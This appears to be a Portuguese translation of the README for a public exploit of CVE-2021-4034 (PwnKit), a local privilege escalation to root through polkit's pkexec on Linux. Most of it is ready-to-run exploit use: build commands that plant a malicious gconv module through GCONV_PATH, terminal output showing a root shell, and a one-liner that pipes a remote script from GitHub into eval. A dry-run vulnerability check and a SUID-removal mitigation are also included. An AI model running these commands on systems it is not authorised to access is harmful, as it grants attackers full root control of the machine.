
Exploit para CVE-2021-4034 (PwnKit) visando polkit pkexec para obter escalada de privilégio local para root em sistemas Linux. Inclui modo dry-run para teste de vulnerabilidade.
Um dia para a exploração de escalada de privilégios do polkit
Basta executar make, ./cve-2021-4034 e aproveitar seu shell root.
O aviso original pelos autores reais está aqui
Se a exploração estiver funcionando, você obterá um shell root imediatamente:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Atualizar o polkit na maioria dos sistemas corrigirá a exploração, portanto você verá o uso e o programa será encerrado:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Para não executar um shell, mas apenas testar se o sistema é vulnerável, compile o alvo dry-run.
Se o programa terminar imprimindo "root", significa que seu sistema é vulnerável à exploração.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Se seu sistema não for vulnerável, ele imprime um erro e sai.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (anteriormente PolicyKit) é um componente para controlar privilégios em todo o sistema em sistemas operacionais do tipo Unix. Ele fornece uma maneira organizada para processos não privilegiados se comunicarem com processos privilegiados. Também é possível usar o polkit para executar comandos com privilégios elevados usando o comando pkexec seguido do comando que se pretende executar (com permissão de root).
Você pode facilmente explorar o sistema usando um único script, baixável e executável com este comando:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Se nenhuma correção estiver disponível para seu sistema operacional, você pode remover o bit SUID do pkexec como uma mitigação temporária.
# chmod 0755 /usr/bin/pkexec
A exploração então falhará reclamando que pkexec deve ter o bit setuid ativado.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root